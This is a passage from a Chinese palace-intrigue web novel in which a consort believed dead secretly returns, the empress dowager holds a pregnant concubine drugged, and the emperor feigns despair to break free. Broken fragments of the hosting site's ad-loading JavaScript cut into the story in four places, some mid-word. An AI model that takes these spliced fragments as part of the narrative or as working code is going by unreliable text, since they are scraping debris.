安宁静静地看着祖父。她也知道,她要见明帝需得祖父牵线,但这个中厉害牵涉着整个顾家,祖父有顾虑实属正常。顾家私下安顿照顾她容易,让宁妃死而复生却不易。 顾仲堂问:“你可有实证?” 安宁写下:曹院判已死,死无对证。 顾仲堂又陷入了沉思。 安宁提笔如飞:王氏不会允许圣上亲政。姐姐在宫里便是得宠也并不安全。如今顾家和圣上都在即将倾覆的大船上。 顾仲堂看完这句话,安宁拿起纸条,就着一旁的烛火将其烧了个干干净净。 至此顾仲堂方才想明白了几分儿子将安宁送回京的用意,并非只是顾虑安宁的安全这般简单。 他在宫里有眼线,但是那嬷嬷在储秀宫做事,能打听知晓的事情有限。前朝开始为圣上亲政的事情上折子后,王太后将整个皇宫整顿得如同铁桶一般,再要内外传递消息极为不易。更何 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 况许多事许多话不可落于纸上也不能轻易对旁人宣之于口,以免落下把柄酿成大祸。 论对后宫情势和对明帝的了解,谁又能强过一直极为受宠的安宁?且看她今日说的话,并非如他认定的那般骄蛮,相反,顾林书将她教养得极好。反而是他对她有成见,因她成为了他棋路上的变数,从内心深处一直对她不喜。 想到这里,顾仲堂神色和缓了许多:“你姐姐在宫里可还好?” 安宁提笔道:姐姐一切都好。姐姐同周姐姐极好,在宫里彼此扶持照应。 顾仲堂点了点头,心里有了几分计较:“你且安心在此养病,旁的等你身子好些了再做计较。” 安宁知道,祖父这么说便是应承了,当下放下笔跪下恭恭敬敬地磕了一个头。顾仲堂神色越发满意,看来往日确实是他错看了这个小孙女,还好为时不晚。 周之刚回太医院,就见张潮在他的房间门口候着。见着他张潮快步上前握住了他的胳膊,拖着他往外走:“快走快走,我等了你半天。就等你来了一块儿去见太后。” 周之闻言有些紧张:“太后可是不适?张大人且等等,待我去取药箱。” “太后身子康健,并无不适。”张潮挥了挥手里握着的脉案,“淑妃娘娘有喜这么大的事情,怎么能不上报?幸好我查脉案正巧看见。你这瞒报着,万一有点什么闪失,太医院如何担待得起?” “张大人,张大人!”周之反手握住张潮的胳膊,“并非我想瞒报,是淑妃娘娘说月份尚浅,想要等胎象稳固了再告知太后和圣上。” “你真是糊涂啊!”张潮道,“慧贵妃娘娘出了那样的事情,太后和圣上正伤心着,淑妃娘娘这一胎就如及时雨一般!这是天大的喜事!” 周之摆手:“我还是听娘娘的意思。” 张潮甩开了周之的手:“你不说,我去说!” 周之拦不住张潮,眼睁睁看着他去了慈宁宫,急得跺脚:“哎!”他只得赶紧去启祥宫把事情告诉淑妃。 淑妃听完周之的话,面色一变猛地站起捏紧了手里的帕子。周之十分惭愧:“都怪微臣……” 淑妃强笑道:“这又哪儿是你能拦得住的?” 她心里转了一转:“三哥,你随我去见圣上。” 淑妃带着周之匆匆忙忙往外走,还没出宫门,就见着王大伴带人过来,将他们堵在了门口。王大伴上前行礼:“见过淑妃娘娘,娘娘这是要去哪里?” 淑妃避过了王大伴,只受了他半礼:“大伴客气了。看着日头还早,想着出去走走。” “娘娘,您仔细着身子。”王大伴恭敬道,“太后听闻您有了身孕,十分高兴。赶紧让咱家来接您去一趟慈宁宫。太后她老人家这些日子正因为慧贵妃娘娘的事情伤怀,听说您有身孕的事情,正高兴着呢。娘娘请移步?” 他说着往旁边让了一步,露出了后面准备好的软舆。淑妃捏着帕子的手紧了紧,微笑着对王大伴道:“好,有劳公公。” 她看向落在后面的予瑶,予瑶会意,赶紧吩咐了身边的小宫女一声让她偷偷去毓德宫向顾昭仪报信,一行人便离了启祥宫向着慈宁宫而去。 明帝到慈宁宫是半个时辰后的事。 太后在正殿见了明帝。明帝环顾却不见淑妃:“母后,儿臣听闻淑妃有孕……淑妃呢?” 王太后慈爱地看着明帝:“她觉着身子乏,在后殿歇下了。” 71. 70 “儿臣不放心,她如今毕竟是双身子的人。”明帝看向王大伴,“带朕去看看?” 王大伴低着头没动。太后唇角微微勾起:“辉儿这是不放心淑妃在哀家这?” 王太后直视着明帝,笑容祥和,可眼底深处有针一样的寒意。 明帝轻轻叹了一口气:“期望越高,失望越大。原本以为慧贵妃……”他顿了顿,期翼地看着太后,“太医怎么说?请了人复诊没有?” “诊出淑妃有孕的是太医院的周之。”太后道,“她来了之后,哀家让张太医来复诊过,确实已有两月的身孕。” 明帝脸上露出了喜色:“当真?” “哀家让敬事房的人拿了存档来查过。”太后笑盈盈地道,“侍寝的日子也对,你不必忧心。” 明帝用力握拳拍掌,在殿里走来走去,对黄大伴道:“你去,把内库里上好的山参、灵芝……有什么好的,都统统点了送去启祥宫!” “哎!”黄大伴满脸笑意地应下,“恭喜圣上,贺喜圣上!” “等等。”太后叫住了黄大伴,看向明帝,“张太医替淑妃诊脉的时候,发现她胎象不稳。”太后轻叹一声,“我问过这孩子,她同宁妃交好,宁妃骤然伤逝,那时她尚且不知自己有了身孕,过于伤怀所以伤了胎气。太医嘱咐需要好好调养安胎。” 太后顿了顿,“哀家想着,不若就让她在哀家这住上一段时日。一来有哀家看顾着她,二来也有个人陪哀家说说话,岂不是两全其美?” 王太后说完直直地看着明帝,面上不显,实则仔细观察着他的态度。 “有母后亲自看顾,那是淑妃的福气。”明帝十分欣喜,“既如此,儿臣也放心许多。” 太后露出了满意的笑容站起身:“时辰不早了,哀家也乏了。你也早些回宫歇息吧。” 明帝躬身道:“儿臣告退。” 毓德宫里,顾珂柔坐在桌边等待着。她眉头紧锁,看着面前的烛火,想着前朝后宫发生的种种。 “娘娘。”陈公公在门口轻声道,“圣上来了。” 话音未落,宫女们打起了竹帘,朱弘辉迈步而入,径直走到临窗的大炕边落座。他不复在慈宁宫时的喜色,同样眉头紧锁。 顾珂柔起身迎驾,看了眼他身后:“圣上,周姐姐她?” 朱弘辉道:“她胎象不稳,母后要将她留在慈宁宫养胎。” 顾珂柔走到朱弘辉身旁落座,两人一时相顾无言。 刚揭破了慧贵妃假孕,偏生这时候淑妃有了身孕。太后借口淑妃需要养胎将她强留在慈宁宫,这一留,只怕要留到淑妃生产。 两人都隐隐察觉到了其后更大的阴谋。顾珂柔看了眼明帝,她甚至不敢深想,只要多想几分,都觉得心惊胆颤。 “圣上。”顾珂柔道,“咱们要想法子把周姐姐接出来。” 明帝默然不语。原本以为揭破了慧贵妃假孕就暂且破了眼前的危局。如今看来,即使没有淑妃假孕的事情,太后和王氏也早已布下了天罗地网,他就像被网络在其上的飞虫,看不见背后的阴影正在悄无声息地接近准备将他一击致命,还在网上徒劳地挣扎,以为自己能够挣脱生还。 淑妃怀孕,不过是恰逢其会罢了。 要破局,只能划破这张网,将织网的蜘蛛置于死地,只有这样,才能真正的没有后顾之忧。 六月三十日,进入了乞巧节。这是女儿家们一年一度的盛会,持续七天八夜。宫里的宫女们虽然不能如民间未出阁的姑娘们一般去迎喜娘娘,却也纷纷私底下用自己的方式来进行庆祝。 宫女们准备好了精巧的木头匣子,把抓来的喜蛛养在里面,只等七月初七那夜来看是否结好了网,若结了网便是姻缘将至。若没有结网,宫女们也会将喜蛛放生,来年再求姻缘。 朱弘辉带着顾珂柔出了宫。两人前脚刚走,后脚便有宫人将消息传到了慈宁宫。王太后正在院子里欣赏铜缸里半开的睡莲:“哦?他们要去哪里?” 来人不敢抬头:“圣上带着顾昭仪去了西凉河看迎巧盛会。” 王太后笑了笑。 到底还是个没长大的孩子,先前慧贵妃的事情让她起了疑虑,可如今她将淑妃扣在慈宁宫,这一个多月来,明帝只有听闻有孕那日来过一次,此后又使人来问过一次,虽然源源不断地送了不少养胎的好东西过来,却没有再多问。 张太医这段时间也轮值为明帝请过平安脉,从脉象上看,他体内的毒没有丝毫缓解的迹象。 王太后返身往回走。 头顶的银月从圆月又化作了月牙。宫里的日子便是这般,日复一日,循环往复,似乎永无止境。 她走到淑妃休息的偏殿,见到她宫人们纷纷跪了一地。王大伴挥了挥手,宫人们便低着头鱼贯退了出去。 内殿的大床上,淑妃闭目安睡着。她只穿了一件单薄的寝衣披散着头发,看上去神色安详。只是短短一个月的时间,她消瘦了许多也苍白了许多,原本红晕的面颊泛着一种不健康的白,白里又透着一种异样的血红。 张太医跪在榻边,正在替淑妃诊脉。王太后开了口:“如何?” 张太医收回手回道:“母体康健,胎儿安稳。” 王太后居高临下地看着沉睡不醒的淑妃,眼神中没有丝毫感情和怜悯:“她这般,能健康撑到生产?” “回太后。”张太医恭敬回答,“只要调养得当,并无甚不妥。” 王太后神情冰冷地注视着淑妃。兄长秘密带了消息,院子里准备好的妇人中已有一半怀有身孕,诊出来有七、八个男胎。即使有所出入,也定能保证淑妃这一胎“生产”的必定是个皇子。 淑妃这一胎虽说比小院那边晚了一个多月,不过不打紧,用药催着提前生产便是了。至于她腹中的胎儿,在发动之前,总还是要保个平安来应对外界。 京城不设宵禁,历来都是不夜城。乞巧节时西凉河边更是游人如织,女子们皆盛装出行,或观看沿河的美景,或放花灯祈福。 朱弘辉带着顾珂柔到了码头,这边早有大船候着。那足有三层楼高的大船极尽奢华,远远看过去灯火通明,其上更有无数身着彩衣的美人儿在甲板上跳舞,有丝竹之声传来,引得许多行人在岸边驻足观看。 管事的迎道朱弘辉,躬着身在前面领路:“四爷这边请!” 众人乘着引渡船上了大船,船上路王府的世子朱宵早在船上候着,见着朱弘辉上前一步便要行大礼,朱弘辉快走上前拦住了他:“二哥,今日是私游,你我兄弟相称,不必如此多礼。” 顾珂柔站在那处未动,等朱宵站定她方才上前行礼:“妾身顾氏,见过世子。” “你是……”朱宵着意多看了顾珂柔一眼,恍然大悟,“你是小承远家的姐姐,咱们在隋明寺后山有过一面之缘。” 顾珂柔点头应道:“世子好记忆,正是妾身。当日同表弟出游,曾偶遇世子。” 朱宵看了看朱弘辉,明白顾珂柔是进了宫。朱弘辉能带她同游,可见她极为受宠。当下便令人来好生招待她安顿,自己则领了朱弘辉上楼去吃酒。 顾珂柔自进宫以来,这还是头一遭出宫。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她站在甲板上看着宽阔的河面,看着滔滔的流水和繁华的京城夜景,只觉得一直以来繁杂的心绪都平静了几分。 “夫人。”黄大伴下了楼,上前躬身道,“爷说好容易出来一趟,问您可想回去看看?马车都是现成的,您要是愿意,即刻便可启程。” 顾珂柔又惊又喜:“当真?” 黄大伴笑道:“自然当真。” 太师府得了消息,虽然知道是私服出游,仍是打开了正门,苏婉仪亲自在门口候着。顾珂柔一下车就看见了母亲,不由得眼眶一红快步上前便矮身行礼:“母亲!” 苏婉仪扶住了她的胳膊仔细地打量着女儿,同样红了眼眶:“进去再说,进去再说。” 母女两依偎着进了府,先去了正院见一家之主顾仲堂。顾珂柔规规矩矩地上前行礼:“孙女顾珂柔,见过祖父,祖父万安。” 顾珂柔捋着胡须,他慈爱地端详着孙女,见她嫁为人妇后越发端庄稳重,不由得十分满意:“好,好!” 顾仲堂看了一眼苏婉仪,后者会意,领了众人退下,亲自闭了门守在门口。顾仲堂这才开口问:“你在宫里一切可好?” “圣上待我极好。”顾珂柔随即落下泪来,跪地叩首道,“我有违家里嘱托,没有照顾好妹妹,请祖父责罚!” 顾仲堂想起安宁对他的托付,叹息一声:“宁儿虽然福薄,幸好还有你可以伴在圣上左右,也算聊解几分伤痛。” 顾珂柔摇了摇头:“祖父有所不知,圣上待宁儿于旁人极为不同。唯有宁儿是真正入了圣心。孙女儿惭愧,不过是因为有个姐妹的情分,才得了圣上几分垂怜,并不能代替宁儿一分。” 顾仲堂沉吟不语。他想着先在顾珂柔这里探探话,圣上私服出游既然能带着顾珂柔并且还许她回府探亲可见宠爱,没成想却听到了这样一个答案。 “祖父,如今我在宫里如履薄冰,只怕一步踏错就万劫不复。”顾珂柔细细将宫里发生的事情一一同顾仲堂道来。明帝如何宠爱安宁、宫里几次争斗、安宁突然暴毙、慧贵妃假孕、明帝中毒到如今淑妃有了身孕后被太后软禁在后宫。末了顾珂柔道,“太后若是想让皇子代替圣上,周姐姐有孕,大可等到她生产之后再有所动作。可如今周姐姐进了慈宁宫就再不见人……” 她惊恐地看着祖父,“祖父,我害怕。她这是笃定了周姐姐这一胎必定是皇子!可姐姐才怀孕不到两月,如何能确定胎儿是男是女?那这一胎是男也好,是女也罢,都必定是个皇子!祖父……” 顾仲堂神色严肃地听着顾珂柔的话,他想起了安宁写的那句话:如今圣上和顾家都在即将倾覆的大船上。 顾仲堂心里有了决断。 慈宁宫里,王太后听着下面的人回话,眼角微微挑了挑:“圣上同路王家的世子花船游河去了?” 来人恭敬道:“是。” 路亲王一辈子玩世不恭,朱宵更是有过之而无不及,最是花天酒地喜好美色的一个人。路亲王府的人从来不涉政事,因着路亲王是先帝唯一的嫡亲兄弟,又深受前李太后和先帝的宠爱,过了一辈子骄奢淫逸的生活。 朱宵子承父业,传闻他在封地有一处大宅,里面养着三百多各式从全国搜罗来的绝色美人。因为路亲王是朱弘辉唯一的叔父,朱弘辉同亲王府的人一向亲近。 王太后眯眼看着那人:“可有旁人?” “小的一直带人紧跟着,圣上一直在船上同世子爷喝花酒,喝到快天明酩酊大醉,在甲板上闹了一通还差点掉下船去。好容易才被安抚下来,如今还醉在船上呢。” 72. 71 朱弘辉大醉,朱宵将其带回了路亲王府安顿。待他醒来时,已是第二天傍晚。朱弘辉满身酒气,头疼地按着额头坐起身,见王大伴正守在一旁不由得一怔:“大伴,你怎么在此?” 王大伴上前行礼,关心地开口:“圣上,太后听闻您大醉十分不放心,所以遣了奴才过来。太医就在外面候着呢。” 朱弘辉有些羞赧:“让母后担心了。宣太医进来罢。” 张潮进了屋子,替朱弘辉请完脉道:“圣上无碍。可是酒大伤身啊,还是少饮为好。” 朱弘辉不耐烦地挥了挥手让张潮出去,头疼地按着额头:“母后还有什么交代?” 王大伴陪笑道:“圣上,太后交代您要是醒了,让奴才接您回宫。” 朱弘辉放下手看着王大伴:“朕不回去。” 王大伴一怔,小心翼翼地询问:“圣上?!” “朕不回去!”朱弘辉突然发怒,拿起枕头砸向王大伴,“听不懂吗?朕不想回宫!” 王大伴不敢躲,被那瓷枕砸了个正着,额头顿时流血,他噗通跪在地上,屋里屋外其余的人也跟着跪了一地:“圣上息怒!” “宁妃离世,朕有多伤心你们知不知道?!”朱弘辉下了榻,光脚踩在地上,指着皇宫的方向怒道,“你们没有一个人关心朕到底有多难过!一个个的只想让朕做个明君!亏得宁妃还是保国公、太师府的姑娘,他们二人也没有一个念着宁妃,只会逼着朕亲政亲政亲政!” 朱弘辉越说越怒,拿起手边的茶盏就砸了下去,摔了满地碎瓷。这一砸他便没有收手,将整个屋子砸了个遍。 王大伴胆战心惊地看着他光脚在满是碎瓷的地面上走来走去,脚底被划破流了好多的血,踩得满地都是血脚印,可他似乎浑然不觉。王大伴起身去拦:“圣上不可,圣上不可啊!保重龙体!” 朱弘辉正站在一个一人多高的大花瓶旁,他用力去推没有推动,气得满脸通红。王大伴这一拦,他转身便给了王大伴一个巴掌,结结实实地将他抽在了地上。眼见朱弘辉双目充血状若疯魔还动手打了王大伴,谁也不敢上前去拦。王大伴迅速爬了起身抱住朱弘辉的腿不让他再继续发疯:“圣上不可啊!” “怎么了?”一道威严的男声从外传来,路亲王出现在了房间门口。他看见屋里的情形不由得皱起了眉头,再看朱弘辉满脚都是鲜血,斥道,“你们都是干什么吃的?快去请太医!” 一直战战兢兢跪在门口的张潮道:“臣在!” 路亲王瞥了他一眼:“还不快去给圣上看伤!” 朱弘辉见着路亲王,总算变得安静了些,由着王大伴和张潮扶他坐到榻上。王大伴跪着将他的脚放在自己膝头,见好多碎片扎在他的脚底,有些扎得极深。张潮看了也不由得倒吸一口冷气,赶紧打开药箱替明帝处理伤口。 “王叔。”朱弘辉无助地看着路亲王,“我不想回宫!” 下人们低着头迅速收拾着地上的碎瓷。路亲王寻了个椅子坐下:“不想回宫便安心在我这住着!想住多久便住多久!” “王爷啊。”王大伴苦笑,“太后要奴才接圣上回宫,这还有好多政事需得圣上回宫处理……” “他才多大?”路亲王一瞪眼睛,“他毛都没长齐,就要他亲政?这么多年都是嫂嫂治理国事,有没有他能耽误什么事儿?他想玩,就让他玩!嫂嫂这个做母亲的,何必这么为难孩子?!” 王大伴不敢再吭声,默不作声地看张潮替明帝处理伤口。 “就说我说的。”路亲王对王大伴道,“你回去回话!小四就在我这住着了,这段时日政事就劳烦嫂嫂操心。”他看了看朱弘辉的脚,“都给孩子逼成了什么样子!” 王大伴回宫将事情原原本本地同太后讲述了一遍。王太后看着王大伴额头的伤,听闻是朱弘辉动手所致十分诧异:“他伤得如何?” “回禀太后。”张潮上前道,“圣上着实伤的不轻。” 王太后看向王大伴:“他当真说不想回宫,不想亲政?” “是。”王大伴恭恭敬敬地回答,“奴才从未见过圣上那般模样。” 王太后沉吟不语。 朱弘辉打小便听话,对她十分顺从。这还是他第一次这般大闹,竟然还动手打了王大伴。 王太后沉思片刻,对王大伴道:“你明日再去亲王府一次,接圣上回宫。” 王大伴躬身应下。 第二日王大伴没有接回来朱弘辉,反倒是路亲王随着他入了宫。 王太后与路亲王只有年节时分才会在大宴上相见,路亲王鲜少进宫,听闻他前来,王太后在正殿见了他。 路亲王见着王太后也不行礼,起身怒道:“嫂嫂,我兄长如今就剩辉儿一个孩子,他才多大?他最疼爱的女子又才离世,何苦这般苦苦逼迫他?便是要孩子成才做事,也得让他适应吧?就非得这么赶鸭子上架不成?辉儿那么和顺的性子,都被逼成了什么样子!” 当年先帝骤然暴毙,朱弘辉才不到两岁。先李太后曾言主少欺国,要让路亲王继承皇位。路亲王若有意,王太后孤儿寡母没有半分胜算。路亲王全力拥护王太后垂帘听政,他志不在此,只想做个骄奢淫逸的富贵王爷享受人生。 “小叔息怒。”王太后和颜悦色,并没有因为他的无礼而生气,“哀家也有哀家的难处。当日哀家曾在先帝灵前许诺,在辉儿十八岁时还政于他。如今眼看着就到他十八的生辰,哀家这般也是遵守诺言。” 路亲王不以为意地挥了挥手:“嫂嫂,这些事情,能者居之。你治理政事十几年,大宁以前千疮百孔,如今四海升平,辉儿还是个什么都不懂的孩子。骤然给他这么大的担子,他如何担待得起?依我看,嫂嫂不如继续理政,待辉儿再大些再论。” 王太后十分迟疑:“这……” 路亲王微微欠了欠身,语重心长:“别把孩子逼得太紧了。我哥就这么一个血脉,他还没有留后呢!这要是万一逼出个什么好歹,你我如何同先帝交代?!” 王太后闻言心有余悸:“辉儿果真如此不安?” “唉。”路亲王摇了摇头,“他从接手政事之后,便寝食难安。尤其宁妃逝世之后,他根本无心政事。可是怕嫂嫂失望,又被前朝的重臣逼着,这才不得不强撑着。他打小就生活和顺,何曾遭遇过这样的打击和压力?凡事物极必反,”他看了眼包着脑袋的王大伴,“……如今行事乖张暴戾,这可是嫂嫂愿意见到的?” 王太后十分内疚,起身对路亲王行礼:“小叔,是哀家的不是。哀家不知辉儿已经这般……” “嫂嫂不要再逼他回宫了。”路亲王打断了王太后的话,“便让他在我府上歇息一段时日。” 王太后道:“那便全依小叔所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 言。” 深夜,一辆马车从不起眼的角门离了太师府,一路向西而去。顾珂柔和母亲坐在马车里,不明白为何突然这个时辰出门。她没来由的觉得有些紧张:“娘,我们要去哪儿?” 苏婉仪轻轻拍了拍她的手:“到了你就知道了。” 马车到了城西的宅子,只有一个老仆人提着一盏灯笼等在门口。苏婉仪领着顾珂柔径直去了内院,安宁正在花厅里等着。 看见眼前的人,顾珂柔一惊,不可置信地扭头看了眼身旁的母亲。安宁眼含热泪看着姐姐。顾珂柔见母亲对自己点了点头方才回过神来,姐妹两人同时上前握住了对方的手。顾珂柔上下打量妹妹:“我,我明明亲眼看着你入殓,还被送去了城郊的妃陵落葬……” 安宁牵着姐姐落座,把事情原原本本的讲了一遍:“……此后父亲便将我送回了京,大伯父让我假借大伯母娘家来投京寻医的侄女儿,将我安顿在了此处。” 顾珂柔落着眼泪,又想哭又想笑:“没事就好,没事就好!” 她当下也把宫里发生的事情原原本本同安宁讲了一番:“……如今圣上带了我出宫,他闹着脾气不肯回去居住在路亲王府,暂且让我安顿在太师府。周姐姐眼下也在那边手里捏着,不知道如何才能将她接出来。” 安宁捏了捏拳:“四叔……四叔可还好?” 顾珂柔擦了擦泪水:“他若知道你还在人世,不知会高兴成什么样子!宁儿,你一走,圣上人还在,心却跟着你走了。你不知那些日子圣上是如何熬着的……若非情势逼人,唉。”顾珂柔长叹一声。转而她又提起了精神,“明日我就将你的事告诉圣上。” 一直沉默的苏婉仪闻言开口:“你且稍安勿躁,宁儿的事情,你们祖父自有安排。” 朱宵大手一挥,包下了西凉河上最大最有名的几艘花船,带着朱弘辉夜夜笙歌。全京城最出名的乐姬夜夜作陪,每晚都在花船上饮酒作乐至天明方归,白日里就醉醺醺地睡上一整日。 王太后又让王大伴到路亲王府来看过朱弘辉几次,每次来都见他大醉,唤也唤不醒。 前朝言官的折子雪片一样的飞向皇宫,都是指责朱弘辉恣意纵乐之语。前些日子朱弘辉要亲政时怒斥安宁是妖妃、指责明帝沉溺女色的那帮言官反而诡异地安静了下来。朝堂上撕扯不休地仍是那两帮人,形势却大倒转。之前维护明帝的斥责他难当大任,之前斥责他的反而尽力袒护,两帮人仍在朝堂上成日里争执不休。 王太后由着他们成日里打口水仗,并不曾出手压制。朝堂上的激烈言论渐渐传到民间,人人都在私底下偷偷议论这个不愿理政,抛下国家大事从宫里跑出来成日同朱宵混在一起的明帝,无不摇头叹息,而论起垂帘听政力挽狂澜的太后,都是一片赞扬之语。 如今满朝文武都知道明帝同朱宵混迹在西凉河的花船上,喜好美酒女色。朝堂上那些有心钻营之人,便搜罗来各式美女想着法子进献给明帝。 乞巧节那天夜里,太师府的顾林颜登上了亲王府的花船。他身后带着一个身穿一袭白裙戴着全覆面的女子,女子身侧跟着怀抱琵琶的琴师赵大家。 明帝同朱宵正在饮酒观看舞姬跳舞取乐,见着顾林颜明帝眯着已有七分醉意的眼睛:“顾大人,今日所来为何?” “圣上。”顾林颜躬身道,“今日臣有一舞,进献给圣上。” 73. 72 “噢?”朱宵同样睁着醉醺醺的眼睛,“难得难得,太师府进献的乐舞,本王今日也要好好观赏观赏。” 朱弘辉挥了挥手,厅里的舞姬们都退了下去。只留下了顾林颜带来的白衣女子和琴师赵大家。 顾林颜一拍手,有人抬了巨大的白色幕布上前,挡在朱弘辉同朱宵面前。侍女们依照吩咐一一熄灭了厅里的灯笼。只留下幕布后的一丛蜡烛照明。 赵大家端坐,开始抚琴。 白衣女子随着琴声出现在了幕布后。 朱弘辉浑身一震,眼里的醉意褪去,他坐起了身。 黑暗中顾林颜正不动声色地打量着明帝。 安宁抬手,随着琴声开始曼舞。 灯光朦胧,那个朝思暮想的身影就在幕布之后似远还近。就像是最深的梦境投映到现实,他却不敢伸手去碰触,只怕轻轻一碰就会碎成泡沫,让他连她的影子都再难相见。 一举一动,一颦一笑,记忆里的她依然鲜活。朱弘辉按住心口,只觉得那处空茫有个深不见底的大洞,鲜血淋漓,痛得他无法呼吸。 不知不觉间他已落下泪来。见他神情如此哀凄,朱宵也收了笑容,看了看幕布后仍在曼舞的身影,又看了眼远处黑暗中看不清表情的顾林颜。 一曲终了。幕布后的身影盈盈一拜便要退却。朱弘辉再按捺不住,趁着醉意起身推倒白布,踉跄着上前用力抓住了白衣女子的胳膊,失态地喊道:“宁儿,别走!” 女子回头,她仍戴着覆面。先前隔着幕布只是身形相似,如今她就在他面前,即使只是一个眼神,他也非常确定,她就是安宁! 他用力将她抱进怀里,牢牢不放,四处寻找着顾林颜:“顾爱卿,你在何处?!” 顾林颜从黑暗中现身,行礼道:“圣上,此女乃是我顾氏旁支唤作顾蓉,并非宁妃。只因她容貌十分肖似宁妃,是以臣下将其进献给圣上。” 朱弘辉颤抖着手解下了安宁的覆面,出现在他眼前的正是他日思夜想的那个人。她眼里同样闪着水光似有千言万语。朱弘辉如遭雷击:“……宁儿?” 亲王府后花园,屏退众人后安宁将事情经过完完整整同朱弘辉讲了一遍:“我坚持要见你,祖父便冒险借用旁支的身份,假称她与我十分相似,让大伯父将我进献。四叔……” 朱弘辉叹息一声,轻轻将她拥在怀里:“让你受苦了。”他此时酒意已醒,握着她的肩细细地打量她,“我还道是喝醉了的梦境,不曾想真的是你。” 他便是再憎恶摩诃,他救了安宁,哪怕他心术不正,此时他都心存感激。 “四叔。”安宁擦了擦眼角的泪痕,“祖父要我转告你,事到如今,想要破局唯有破釜沉舟,才能脱困。” 京城里传开了一个惊人的消息。太师府寻来了一个与宁妃极为肖似的女子献给明帝,明帝将其带回了路亲王府,次日便封了其为宸妃,又过了两日,明帝更要将其封为皇后。 封宸妃的时候,太后虽然得知了消息,却没有出言阻止。如今明帝要封后,她却无法再坐视不管,当下令王大伴去路亲王府迎明帝与宸妃回宫。 王大伴带着人到了亲王府,朱弘辉横眉冷对:“朕说了多少次?朕不回宫!” 王大伴看着明帝身旁那个俏生生立着的身影,心里也是咯噔一声。宸妃似笑非笑地看着他,那容貌同宁妃十成十的相似,一时间竟分不清是不是宁妃死而复生。 他不敢多看,苦苦哀求:“圣上,封后岂可儿戏?无论如何圣上也要回宫同太后面议才是。” 明帝站起身猛地一挥手,将桌上的瓷器尽数扫到地面在王大伴面前摔了个粉碎,他恶狠狠地看着王大伴:“朕已经失了宁儿!如今好容易有宸妃相伴,你们就这么容不得她不成?!回宫?回宫让那些妒妇再对朕的宸妃下毒手?!朕宁愿散去后宫所有佳丽,唯留宸妃一人!” 王大伴闻言大惊失色,跪地叩首:“不可啊圣上!万万不可!” “有何不可?”明帝走到王大伴身旁弯下腰,阴森森地在他耳边开口,“朕这便下旨,遣散后宫众人,发还原府。从今往后,朕唯有宸妃,不,朕唯有皇后一人,再不令娶!” 王大伴将消息带回给了王太后,同时带来的还有明帝下令遣散后宫的旨意。 王太后神色阴沉地看着王大伴带回来的圣旨,狠狠将其砸向了地面。 王大伴跪地不起,不敢抬头看王太后的神情。 “好。”王太后冷哼一声,“很好。” 事到如今,她还有什么不明白? 这个小狐狸,戏演得如此逼真,竟然将她也瞒了过去!还有太师府,好一个太师府! 王太后神色阴沉至极。王大伴说那宸妃与宁妃肖似十成十,这世上哪儿有那么相似的人?!只是这中间不知道到底是哪里出了岔子,竟然没有毒死宁妃反而让她逃脱。 这么说起来,朱弘辉躲在宫外不归,必然也是知道自己身上中毒的事情了。他倒沉得住气,生生在宫里陪她演了那段时日,不去碰身体里的毒半分,成功将她骗了过去。 好一只狡猾的小狐狸! 明帝下旨将宫里的嫔妃发还原府,家在京城的有一日时间可进宫将人接回去。不是京城的内务府会备下马车将人一一送回。 旨意一出,朝野震动。就在众人还在观望讨论时,内阁首辅周大人家的马车在众目睽睽下率先进了宫,接走了已有孕在身的淑妃。 京城各府的车在首辅家的马车之后接连进宫,过午之后,内务府送人的马车也开始接连离宫,引得满京城的百姓都在路边驻足观看议论纷纷。如今所有人都知道明帝为了一个同逝去的宁妃长得一模一样的宸妃遣散了后宫,且一心要立其为后。 王太后看着空荡荡的后宫,心头憋了一口气。明帝此举将自己推到了风口浪尖,也让所有人的视线都集中到了后宫。这种情形下周家的车到宫里接淑妃,她不得不放人。 王太后看向身旁的王大伴:“去路亲王府,再传哀家的旨意,令他回宫!” 周家的车去了路亲王府。 来者是周姠的母亲谢瑶。一见到安宁她便躬身下拜:“臣妇参见宸妃娘娘!娘娘万安!” 安宁上前扶起了谢瑶:“伯母不必如此多礼。” 谢瑶擦了擦眼泪:“臣妇此次前来,是特地感谢娘娘。若非您想了这个法子救我家姠儿出来,我那可怜的女儿……” 她说着泣不成声,拿帕子按了按眼角强忍悲伤。 “周姐姐和我姐姐情同姐妹,我自然也是当姐姐如嫡亲姐妹一般。”安宁关心地问,“周姐姐如何了?” 谢瑶眼泪如滚珠:“我可怜的女儿,太后说她胎像不稳留她在慈宁宫调养,实则被人用药迷晕了一直昏睡不醒。足足睡了将近一个多月!寻来的太医看过,她便是醒了……”她眼睛赤红,神色悲伤至极,“若是情形好些,或许还能认人说话,若是不好,只怕连清醒都难……” 安宁默然。只想着王太后会将淑妃扣留在慈宁宫,却没想到她会下这么狠的手,竟然只要腹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中胎儿舍了母体让其昏睡。若非用了这釜底抽薪的法子,淑妃只怕就在昏睡中度过剩下的这几个月,最终在生产时一命呜呼。 两人正说着话,听见前面传来喧哗声。安宁起身走到窗边,见外面王大伴领着一群人强闯进了院子,他手里高举着太后的懿旨,旁人也不敢拦他。他到了院中间道:“太后懿旨,请圣上携宸妃娘娘回宫,即刻启程!” 前几次王大伴前来是请,如今是下了旨意宣他们回宫,其意义大不相同。 谢瑶起身要随安宁出去接旨,安宁却轻轻按住了她,摇了摇头。 王大伴举着懿旨在院子里站了半晌却无人来应。他心中惴惴,不敢问明帝,只得色厉内荏地喝问一旁的下人:“宸妃娘娘何在?” 下人嗫嚅道:“娘娘在待客。” “大胆!”王大伴怒极,“太后的旨意!她竟然敢抗旨!” 话音未落,一侧的房门突然打开,一个瓷杯飞出,径直砸在他的头上,打得他晕头转向。明帝阴沉着脸站在门口:“滚!若你再不滚。”他转身抽出了墙上挂着的长刀指着王大伴,“朕今日就砍下你的头颅送回宫去!” 王大伴哪儿还敢多留,留下懿旨带着人灰溜溜地逃回了皇宫。 